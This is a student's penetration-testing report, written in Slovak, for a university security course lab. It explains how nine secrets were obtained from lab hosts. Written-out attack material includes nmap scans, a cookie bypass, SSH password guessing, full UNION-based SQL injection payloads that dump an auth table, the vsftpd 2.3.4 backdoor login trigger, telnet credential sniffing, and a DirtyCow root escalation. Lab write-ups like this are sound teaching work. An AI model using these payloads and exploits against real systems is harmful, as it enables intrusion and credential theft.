

BIS 2016/2017: Projekt 1

Dávid Mikuš

xmikus15@stud.fit.vutbr.cz

24. novembra 2016

1 Zmapovanie siete

Najprv som zistil svoju IP a zmapoval sieť na serveri bis.fit.vutbr.cz:

```
nmap -sP 192.168.122.0/24
```

Okrem uživatelskych adries som našiel:

```
ptest4.local (192.168.122.48)
ptest3.local (192.168.122.70)
ptest1.local (192.168.122.138)
ptest2.local (192.168.122.192)
```

Následne som na týchto adresách skenoval otvorené porty cez nmap -sV

ptest1

$22/\mathrm{tcp}$	open	ssh	OpenSSH 5.3 (protocol 2.0)
$80/\mathrm{tcp}$	open	http	Apache httpd 2.2.15 ((CentOS))
$8080/\mathrm{tcp}$	open	http	Apache httpd 2.2.15 ((CentOS))

ptest2

$21/\mathrm{tcp}$	open	ftp	vsftpd 2.3.4
$22/\mathrm{tcp}$	open	ssh	OpenSSH 5.3 (protocol 2.0)
$80/\mathrm{tcp}$	open	http	Apache httpd 2.2.15 ((CentOS))
$3306/\mathrm{tcp}$	open	mysql	MySQL (unauthorized)

ptest3

22/tcp open	ssh	OpenSSH 5.3 (protocol 2.0)
23/tcp open	telnet	Linux telnetd

ptest4

$22/\mathrm{tcp}$	open	ssh	OpenSSH 5.3 (protocol 2.0)
$80/\mathrm{tcp}$	open	http	Apache httpd 2.2.15 ((CentOS))
41337/ tcp	open	ftp	vsftpd 2.2.2

2 Tajomstvá

2.1 A

Server: ptest1

Pripojil som sa na port 8080, kde je prihlasováci formulár. V cookies sa ukladá položka LOGGED_IN ktorej som nastavil TRUE a dostál som sa do systému.

2.2 B

Server: ptest1

Pripojil som sa na port 80, kde som našiel login xsmith07. Na tomto serveri beží SSH, tak som sa skúsil prihlásiť a skúšal hesla na základe blogu. Nakoniec to bolo heslo mačky micak

2.3 C

Server: ptest2

Pripojil som sa na web. Po rôznych pokusoch ked som zadal do filtra uvodzovky tak som narazil na chybu:

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%"' at line 1 Check for errors in your query: SELECT id, name, email, address FROM contact WHERE name LIKE "%"%"

Použil som SQL Injection a istil som si názvy tabuľiek:

```
" OR 1=1 UNION SELECT table_name, 1, 1, 1 FROM information_schema. tables —
```

Potom názvy stĺpcov tabuľky auth:

```
" OR 1=1 UNION SELECT column_name,1,1,1 FROM information_schema. columns WHERE table_name='auth' —
```

A následne samotné údaje:

```
" OR 1=1 UNION SELECT id , login , passwd , 1 FROM auth —
```

Kde som v hesle uživateľa admin našiel tajomstvo.

2.4 D

Server: ptest2

Na serveri sa nachádza vsftp 2.3.4 pre ktorý som našiel exploit https://mkirbypn.wordpress.com/2016/02/23/exploit-vstftpd-version-2-3-4/

Prihlasil som sa na FTP server a ako údaje som zadal

```
USER: a:)
PASS: a:)
```

Po prihlăseni mi vypísalo:

```
Opened port 52981, take a look ;)
```

Na daný port som sa prihlásil a získal tajomstvo.

2.5 E

Server: ptest3

Prihlasil som sa cez SSH pod uživateľom smith. Spustil som tcpdump, výstup uložil a otvoril vo Wiresharku. Nachádzala sa tam telnet komuníkacia a po Follow TCP Stream som našiel:

```
...login: ada
.ada
Password: babb4ge
```

Prihlăsil som sa s danými údajmi cez telnet a získal tajomstvo.

2.6 F

Server: ptest4

Na serveri je otvorený port 41337 pre FTP. Prihlásil som sa ako anonýmny uživateľ a získal tajomstvo.

2.7 G

Server: bis.fit.vutbr.cz

Na serveri sa dá využit exploit DirtyCow, konkrétne som využil https://gist.github.com/KrE80r/42f8629577db95782d5e4f609f437a54, ktorý modifikuje /usr/bin/passwd. Vďaka ktorému som bol schopný editovať súbory passwd a shadow. Vytvoril som si nového uživateľa s UID=0. Prihlásil som sa cez novo vytvorený účet a v zložke /root som našiel tajomstvo.

2.8 H

Server: ptest4

Pripojil som sa na port 80 kde sa dalo listovať medzi zložkami a súbormi. V /etc/raddb/sql.conf som našiel ako heslo tajomstvo.

2.9 I

Server: ptest4

Podobne ako tajomstvo H. V /home/franta/Documents/ sa nachádzali PDF dokumenty. Skúsil som prečítat metadata cez pdfinfo a v dokumente Internal.pdf v položke Keywords som našiel tajomstvo.